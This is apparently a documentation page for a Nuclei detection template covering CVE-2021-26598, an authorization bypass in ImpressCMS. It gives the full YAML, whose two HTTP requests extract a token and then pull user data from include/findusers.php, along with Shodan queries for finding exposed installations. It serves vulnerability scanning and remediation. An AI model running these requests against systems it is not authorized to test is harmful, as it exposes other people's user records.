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ImpressCMS <1.4.3 - Incorrect Authorization

ID: CVE-2021-26598

Severity: medium

Author: gy741,pdteam

Tags: cve,cve2021,hackerone,impresscms,unauth,cms

Description

Section titled “Description”

ImpressCMS before 1.4.3 is susceptible to incorrect authorization via include/findusers.php. An attacker can provide a security token and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2021-26598


info:
  name: ImpressCMS <1.4.3 - Incorrect Authorization
  author: gy741,pdteam
  severity: medium
  description: ImpressCMS before 1.4.3 is susceptible to incorrect authorization via include/findusers.php. An attacker can provide a security token and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can bypass authorization and gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Upgrade to ImpressCMS version 1.4.3 or later to fix the vulnerability.
  reference:
    - https://hackerone.com/reports/1081137
    - http://karmainsecurity.com/KIS-2022-03
    - https://github.com/ImpressCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26598
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26598
    cwe-id: CWE-287
    epss-score: 0.03958
    epss-percentile: 0.92001
    cpe: cpe:2.3:a:impresscms:impresscms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: impresscms
    product: impresscms
    shodan-query:
      - http.html:"ImpressCMS"
      - cpe:"cpe:2.3:a:impresscms:impresscms"
      - http.html:"impresscms"
    fofa-query: body="impresscms"
  tags: cve,cve2021,hackerone,impresscms,unauth,cms


http:
  - raw:
      - |
        GET /misc.php?action=showpopups&type=friend HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
      - |
        GET /include/findusers.php?token={{token}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36


    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'last_login'
          - 'user_regdate'
          - 'uname'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: token
        group: 1
        regex:
          - "REQUEST' value='(.*?)'"
          - 'REQUEST" value="(.*?)"'
        internal: true
# digest: 490a00463044022056120ae3bb55126d6aada3374ade0b3e6f2aa4db631bef331f3cef98e0843f7402202e551df1b5fe2ae88ce38308ac18a254b2a1a64135ba8c473f0fa10c7871bb79:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26598.yaml"

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